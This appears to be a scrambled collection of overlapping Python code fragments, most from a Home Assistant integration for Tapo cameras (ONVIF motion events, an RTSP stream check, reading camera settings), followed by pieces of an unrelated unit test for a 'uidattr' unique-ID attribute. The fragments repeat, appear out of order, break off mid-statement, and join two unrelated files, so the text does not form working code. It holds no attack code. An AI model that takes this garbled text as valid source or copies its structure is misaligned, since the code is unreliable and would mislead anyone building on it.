"urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await",
"motion_detection_sensitivity = \"normal\" elif motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity = \"high\"",
"privacy_mode try: alarmData = await hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"] alarm_mode",
"has failed.\") return device except Exception: pass return False async",
"= None camData[\"day_night_mode\"] = day_night_mode try: led = await hass.async_add_executor_job(controller.getLED)",
"failed.\" + \" Please restart the camera and try again.\"",
"camData[\"auto_track\"] = auto_track if presets: camData[\"presets\"] = presets else: camData[\"presets\"]",
"image == b\"\" async def initOnvifEvents(hass, host, username, password): device",
"import os import asyncio import urllib.parse from onvif import ONVIFCamera",
"await events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task( hass.config_entries.async_forward_entry_setup(",
"Exception(\"Onvif connection has failed.\") return device except Exception: pass return",
"None motion_detection_sensitivity = None camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity",
"privacy_mode = None camData[\"privacy_mode\"] = privacy_mode try: alarmData = await",
"async def isRtspStreamWorking(hass, host, username, password): _ffmpeg = hass.data[DATA_FFMPEG] ffmpeg",
"CLOUD_PASSWORD from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event import",
"return not image == b\"\" async def initOnvifEvents(hass, host, username,",
"await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData = await hass.async_add_executor_job(",
"try: await device.update_xaddrs() device_mgmt = device.create_devicemgmt_service() device_info = await device_mgmt.GetDeviceInformation()",
"camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData = await hass.async_add_executor_job( controller.getMotionDetection )",
"led[\"enabled\"] except Exception: led = None camData[\"led\"] = led try:",
"username, password) async def isRtspStreamWorking(hass, host, username, password): _ffmpeg =",
"pass return False async def getCamData(hass, controller): camData = {}",
"= host entity._username = username entity._password = password if hass.data[DOMAIN][entry.entry_id][\"events\"]:",
"events = hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]",
"day_night_mode = None camData[\"day_night_mode\"] = day_night_mode try: led = await",
"password) async def isRtspStreamWorking(hass, host, username, password): _ffmpeg = hass.data[DATA_FFMPEG]",
"streaming_url, output_format=IMAGE_JPEG, ) ) return not image == b\"\" async",
"Exception: led = None camData[\"led\"] = led try: auto_track =",
"hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents( hass, entry )",
"= None camData[\"alarm\"] = alarm camData[\"alarm_mode\"] = alarm_mode try: commonImageData",
"entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD) try: if cloud_password",
"await device.update_xaddrs() device_mgmt = device.create_devicemgmt_service() device_info = await device_mgmt.GetDeviceInformation() if",
"\"low\" elif motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity = \"normal\" elif motionDetectionData[\"digital_sensitivity\"]",
"= await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"] except Exception: auto_track =",
"led = None camData[\"led\"] = led try: auto_track = await",
"homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event import EventManager from",
"CONF_PASSWORD from homeassistant.components.onvif.event import EventManager from homeassistant.components.ffmpeg import DATA_FFMPEG from",
"f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, ) )",
"camData[\"alarm\"] = alarm camData[\"alarm_mode\"] = alarm_mode try: commonImageData = await",
"auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"] except Exception: auto_track",
"try again.\" ) for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host",
"async def setupOnvif(hass, entry, host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await",
"\"high\" else: motion_detection_sensitivity = None except Exception: motion_detection_enabled = None",
"password = <PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await asyncio.shield(",
"!= \"\": tapoController = await hass.async_add_executor_job( registerController, host, \"admin\", cloud_password",
"not in device_info: raise Exception(\"Onvif connection has failed.\") return device",
"Tapo(host, username, password) async def isRtspStreamWorking(hass, host, username, password): _ffmpeg",
"host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents( hass, host, username,",
"= motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity = \"low\" elif",
"urllib.parse from onvif import ONVIFCamera from pytapo import Tapo from",
"streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG,",
") ) return not image == b\"\" async def initOnvifEvents(hass,",
"hass.async_add_executor_job( registerController, host, \"admin\", cloud_password ) else: tapoController = await",
"not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start(): if not",
"if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"]",
"hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode = None camData[\"day_night_mode\"]",
"= False if motionSensor: await setupOnvif(hass, entry, host, username, password)",
"= await hass.async_add_executor_job( registerController, host, username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] =",
"password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\")",
"cloud_password = entry.data.get(CLOUD_PASSWORD) try: if cloud_password != \"\": tapoController =",
"password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\",",
"onvif import os import asyncio import urllib.parse from onvif import",
"\"Authentication to Tapo camera failed.\" + \" Please restart the",
"<PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await asyncio.shield( ffmpeg.get_image( streaming_url,",
"except Exception: LOGGER.error( \"Authentication to Tapo camera failed.\" + \"",
"camData[\"led\"] = led try: auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track =",
"hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except Exception: LOGGER.error( \"Authentication to Tapo camera",
"try: if cloud_password != \"\": tapoController = await hass.async_add_executor_job( registerController,",
"await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"]",
"= entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD) motionSensor =",
"motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD) try: if cloud_password !=",
"alarmData[\"alarm_mode\"] except Exception: alarm = None alarm_mode = None camData[\"alarm\"]",
"camData[\"alarm_mode\"] = alarm_mode try: commonImageData = await hass.async_add_executor_job(controller.getCommonImage) day_night_mode =",
"\"50\": motion_detection_sensitivity = \"normal\" elif motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity =",
"DOMAIN, LOGGER, CLOUD_PASSWORD from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from",
"controller.user camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData",
") return not image == b\"\" async def initOnvifEvents(hass, host,",
"except Exception: alarm = None alarm_mode = None camData[\"alarm\"] =",
"alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"] except Exception: alarm = None alarm_mode",
"{} return camData async def update_listener(hass, entry): \"\"\"Handle options update.\"\"\"",
"= \"normal\" elif motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity = \"high\" else:",
"\"admin\", cloud_password ) else: tapoController = await hass.async_add_executor_job( registerController, host,",
"from homeassistant.components.ffmpeg import DATA_FFMPEG from haffmpeg.tools import IMAGE_JPEG, ImageFrame def",
"= \"high\" else: motion_detection_sensitivity = None except Exception: motion_detection_enabled =",
"\"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if motionSensor: await setupOnvif(hass, entry, host,",
"async def initOnvifEvents(hass, host, username, password): device = ONVIFCamera( host,",
"hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]:",
"device_info: raise Exception(\"Onvif connection has failed.\") return device except Exception:",
"homeassistant.components.onvif.event import EventManager from homeassistant.components.ffmpeg import DATA_FFMPEG from haffmpeg.tools import",
"try: motionDetectionData = await hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled = motionDetectionData[\"enabled\"]",
"= await hass.async_add_executor_job( registerController, host, \"admin\", cloud_password ) else: tapoController",
"= motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try: privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode)",
"entry, host, username, password) async def setupOnvif(hass, entry, host, username,",
"device_mgmt.GetDeviceInformation() if \"Manufacturer\" not in device_info: raise Exception(\"Onvif connection has",
"await hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"] except Exception: led = None",
"led = await hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"] except Exception: led",
"ONVIFCamera( host, 2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try: await",
"= privacy_mode try: alarmData = await hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"]",
"Exception: LOGGER.error( \"Authentication to Tapo camera failed.\" + \" Please",
"password) async def setupOnvif(hass, entry, host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] =",
"def isRtspStreamWorking(hass, host, username, password): _ffmpeg = hass.data[DATA_FFMPEG] ffmpeg =",
"import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event import EventManager from homeassistant.components.ffmpeg",
"camera and try again.\" ) for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host",
"hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled = motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] == \"20\":",
"device.update_xaddrs() device_mgmt = device.create_devicemgmt_service() device_info = await device_mgmt.GetDeviceInformation() if \"Manufacturer\"",
"hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if",
"= auto_track if presets: camData[\"presets\"] = presets else: camData[\"presets\"] =",
"import DATA_FFMPEG from haffmpeg.tools import IMAGE_JPEG, ImageFrame def registerController(host, username,",
"day_night_mode try: led = await hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"] except",
"CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event import EventManager from homeassistant.components.ffmpeg import",
"\"\": tapoController = await hass.async_add_executor_job( registerController, host, \"admin\", cloud_password )",
"os import asyncio import urllib.parse from onvif import ONVIFCamera from",
"camData = {} presets = await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user",
"None camData[\"led\"] = led try: auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track",
"hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] =",
"{} presets = await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user camData[\"basic_info\"] =",
"= led try: auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"]",
"privacy_mode[\"enabled\"] except Exception: privacy_mode = None camData[\"privacy_mode\"] = privacy_mode try:",
"update_listener(hass, entry): \"\"\"Handle options update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS) username =",
"import IMAGE_JPEG, ImageFrame def registerController(host, username, password): return Tapo(host, username,",
"getCamData(hass, controller): camData = {} presets = await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"]",
") hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except Exception: LOGGER.error( \"Authentication to Tapo",
"motion_detection_sensitivity = \"high\" else: motion_detection_sensitivity = None except Exception: motion_detection_enabled",
"not image == b\"\" async def initOnvifEvents(hass, host, username, password):",
"= <PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await asyncio.shield( ffmpeg.get_image(",
"from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event import EventManager",
"day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode = None camData[\"day_night_mode\"] =",
"await hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"] except Exception:",
"tapoController except Exception: LOGGER.error( \"Authentication to Tapo camera failed.\" +",
"motionDetectionData = await hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled = motionDetectionData[\"enabled\"] if",
"not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" )",
"setupOnvif(hass, entry, host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents( hass,",
"= None camData[\"led\"] = led try: auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget)",
"import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME,",
"commonImageData = await hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode",
"to Tapo camera failed.\" + \" Please restart the camera",
"try: led = await hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"] except Exception:",
"False if motionSensor: await setupOnvif(hass, entry, host, username, password) async",
"if motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity = \"low\" elif motionDetectionData[\"digital_sensitivity\"] ==",
"entry, host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents( hass, host,",
") else: tapoController = await hass.async_add_executor_job( registerController, host, username, password",
"password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except Exception: LOGGER.error( \"Authentication to",
") hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents( hass, entry ) async def",
"try: privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"] except Exception:",
"motion_detection_enabled = None motion_detection_sensitivity = None camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"]",
"in device_info: raise Exception(\"Onvif connection has failed.\") return device except",
"camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try: privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode =",
"device except Exception: pass return False async def getCamData(hass, controller):",
"return False async def getCamData(hass, controller): camData = {} presets",
"except Exception: privacy_mode = None camData[\"privacy_mode\"] = privacy_mode try: alarmData",
"Tapo from .const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD from homeassistant.const",
"username entity._password = password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]:",
"else: camData[\"presets\"] = {} return camData async def update_listener(hass, entry):",
"password): return Tapo(host, username, password) async def isRtspStreamWorking(hass, host, username,",
"None camData[\"alarm\"] = alarm camData[\"alarm_mode\"] = alarm_mode try: commonImageData =",
"auto_track = auto_track[\"enabled\"] except Exception: auto_track = None camData[\"auto_track\"] =",
"onvif import ONVIFCamera from pytapo import Tapo from .const import",
"Exception: privacy_mode = None camData[\"privacy_mode\"] = privacy_mode try: alarmData =",
"= entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD) try: if",
"hass, host, username, password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager(",
"alarm_mode = alarmData[\"alarm_mode\"] except Exception: alarm = None alarm_mode =",
"controller): camData = {} presets = await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] =",
"Exception: motion_detection_enabled = None motion_detection_sensitivity = None camData[\"motion_detection_enabled\"] = motion_detection_enabled",
"False async def getCamData(hass, controller): camData = {} presets =",
"tapoController = await hass.async_add_executor_job( registerController, host, \"admin\", cloud_password ) else:",
"ImageFrame(_ffmpeg.binary, loop=hass.loop) username = urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password) streaming_url =",
"<gh_stars>0 import onvif import os import asyncio import urllib.parse from",
"None alarm_mode = None camData[\"alarm\"] = alarm camData[\"alarm_mode\"] = alarm_mode",
"= alarmData[\"alarm_mode\"] except Exception: alarm = None alarm_mode = None",
"= await hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"] except Exception: led =",
"None camData[\"auto_track\"] = auto_track if presets: camData[\"presets\"] = presets else:",
"device = ONVIFCamera( host, 2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, )",
"= privacy_mode[\"enabled\"] except Exception: privacy_mode = None camData[\"privacy_mode\"] = privacy_mode",
".const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD from homeassistant.const import CONF_IP_ADDRESS,",
"== \"80\": motion_detection_sensitivity = \"high\" else: motion_detection_sensitivity = None except",
"def update_listener(hass, entry): \"\"\"Handle options update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS) username",
"await setupOnvif(hass, entry, host, username, password) async def setupOnvif(hass, entry,",
"f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try: await device.update_xaddrs() device_mgmt = device.create_devicemgmt_service() device_info",
"username, password): return Tapo(host, username, password) async def isRtspStreamWorking(hass, host,",
"if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if motionSensor:",
"setupEvents(hass, entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"] if await",
"camData[\"day_night_mode\"] = day_night_mode try: led = await hass.async_add_executor_job(controller.getLED) led =",
"host entity._username = username entity._password = password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await",
"= password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry,",
"= entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password =",
"= motion_detection_sensitivity try: privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"]",
"entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host entity._username = username entity._password",
"LOGGER.error( \"Authentication to Tapo camera failed.\" + \" Please restart",
"= \"low\" elif motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity = \"normal\" elif",
"hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" ) ) return True else: return False",
"def setupEvents(hass, entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"] if",
"except Exception: day_night_mode = None camData[\"day_night_mode\"] = day_night_mode try: led",
"CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event import EventManager from homeassistant.components.ffmpeg import DATA_FFMPEG",
"again.\" ) for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host entity._username",
"the camera and try again.\" ) for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]:",
"hass, entry ) async def setupEvents(hass, entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started:",
"Exception: pass return False async def getCamData(hass, controller): camData =",
") async def setupEvents(hass, entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events =",
"= None except Exception: motion_detection_enabled = None motion_detection_sensitivity = None",
"loop=hass.loop) username = urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\"",
"if \"Manufacturer\" not in device_info: raise Exception(\"Onvif connection has failed.\")",
"camera failed.\" + \" Please restart the camera and try",
") for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host entity._username ="
] |
[
"<NAME> (<EMAIL>) # # Copyright: (c) 2018 <NAME> # ----------------------------------------------------------------------------",
"(c) 2018 <NAME> # ---------------------------------------------------------------------------- # $Source$ # $Revision$ \"\"\"Test",
"Component, register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories import ( UUIDGenerator, uuid_generator) #",
"-*- # ---------------------------------------------------------------------------- # Name: test_uidattr # Purpose: Test driver",
"camd3.infrastructure.component import ( Component, register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories import (",
"self.assertIsNotNone(cid._id) def test_uniqueness(self): ids = {self.cid.id} for i in range(10):",
"factory for UUIDs def custom_uuid_generator() -> UUIDGenerator: # noqa: D103",
"# ---------------------------------------------------------------------------- # Name: test_uidattr # Purpose: Test driver for",
"= {self.cid.id} for i in range(10): cid = ExplID() self.assertNotIn(cid.id,",
"# ---------------------------------------------------------------------------- # $Source$ # $Revision$ \"\"\"Test driver for module",
"import ( Component, register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories import ( UUIDGenerator,",
"for UUIDs def custom_uuid_generator() -> UUIDGenerator: # noqa: D103 while",
"def test_init(self): cid = ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self): ids",
"def __init__(self): self.__class__.id.set_once(self) class ImplID(Component): id = UniqueIdAttribute() def __init__(self):",
"ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self): ids = {self.cid.id} for i",
"True: yield uuid1() class ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self):",
"---------------------------------------------------------------------------- # $Source$ # $Revision$ \"\"\"Test driver for module 'uidattr'\"\"\"",
"def test_uniqueness(self): ids = {self.cid.id} for i in range(10): cid",
"def custom_uuid_generator() -> UUIDGenerator: # noqa: D103 while True: yield",
"-*- coding: utf-8 -*- # ---------------------------------------------------------------------------- # Name: test_uidattr #",
"2018 <NAME> # ---------------------------------------------------------------------------- # $Source$ # $Revision$ \"\"\"Test driver",
"'uidattr'\"\"\" import unittest from uuid import uuid1 from camd3.infrastructure.component import",
"= ImplID() def test_init(self): cid = ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def",
"__init__(self): self.__class__.id.set_once(self) class ImplID(Component): id = UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self)",
"unittest from uuid import uuid1 from camd3.infrastructure.component import ( Component,",
"uuid1() class ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self) class",
"ids) ids.add(cid.id) if __name__ == '__main__': # pragma: no cover",
"i in range(10): cid = ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id) if",
"id = UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def setUp(self):",
"def setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid = ImplID() def test_init(self): cid",
"# noqa: D103 while True: yield uuid1() class ExplID(Component): id",
"UUIDGenerator) self.cid = ImplID() def test_init(self): cid = ImplID() self.assertIsNotNone(cid.id)",
"# # Author: <NAME> (<EMAIL>) # # Copyright: (c) 2018",
"# $Revision$ \"\"\"Test driver for module 'uidattr'\"\"\" import unittest from",
"= UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self) class ImplID(Component): id = UniqueIdAttribute()",
"from camd3.infrastructure.component.idfactories import ( UUIDGenerator, uuid_generator) # factory for UUIDs",
"while True: yield uuid1() class ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def",
"def __init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid",
"import ( UUIDGenerator, uuid_generator) # factory for UUIDs def custom_uuid_generator()",
"UniqueIdAttribute) from camd3.infrastructure.component.idfactories import ( UUIDGenerator, uuid_generator) # factory for",
"ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self) class ImplID(Component): id",
"__init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid =",
"from uuid import uuid1 from camd3.infrastructure.component import ( Component, register_utility,",
"# Name: test_uidattr # Purpose: Test driver for module 'uidattr'",
"import uuid1 from camd3.infrastructure.component import ( Component, register_utility, UniqueIdAttribute) from",
"register_utility(uuid_generator(), UUIDGenerator) self.cid = ImplID() def test_init(self): cid = ImplID()",
"Name: test_uidattr # Purpose: Test driver for module 'uidattr' #",
"custom_uuid_generator() -> UUIDGenerator: # noqa: D103 while True: yield uuid1()",
"( UUIDGenerator, uuid_generator) # factory for UUIDs def custom_uuid_generator() ->",
"test_uidattr # Purpose: Test driver for module 'uidattr' # #",
"test_init(self): cid = ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self): ids =",
"test_uniqueness(self): ids = {self.cid.id} for i in range(10): cid =",
"cid = ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self): ids = {self.cid.id}",
"ids = {self.cid.id} for i in range(10): cid = ExplID()",
"# $Source$ # $Revision$ \"\"\"Test driver for module 'uidattr'\"\"\" import",
"UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(), UUIDGenerator)",
"Copyright: (c) 2018 <NAME> # ---------------------------------------------------------------------------- # $Source$ # $Revision$",
"Author: <NAME> (<EMAIL>) # # Copyright: (c) 2018 <NAME> #",
"self.__class__.id.set_once(self) class ImplID(Component): id = UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self) class",
"utf-8 -*- # ---------------------------------------------------------------------------- # Name: test_uidattr # Purpose: Test",
"self.cid = ImplID() def test_init(self): cid = ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id)",
"module 'uidattr'\"\"\" import unittest from uuid import uuid1 from camd3.infrastructure.component",
"UUIDs def custom_uuid_generator() -> UUIDGenerator: # noqa: D103 while True:",
"driver for module 'uidattr' # # Author: <NAME> (<EMAIL>) #",
"for module 'uidattr' # # Author: <NAME> (<EMAIL>) # #",
"module 'uidattr' # # Author: <NAME> (<EMAIL>) # # Copyright:",
"ImplID() def test_init(self): cid = ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self):",
"{self.cid.id} for i in range(10): cid = ExplID() self.assertNotIn(cid.id, ids)",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- # ---------------------------------------------------------------------------- #",
"-> UUIDGenerator: # noqa: D103 while True: yield uuid1() class",
"id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self) class ImplID(Component): id =",
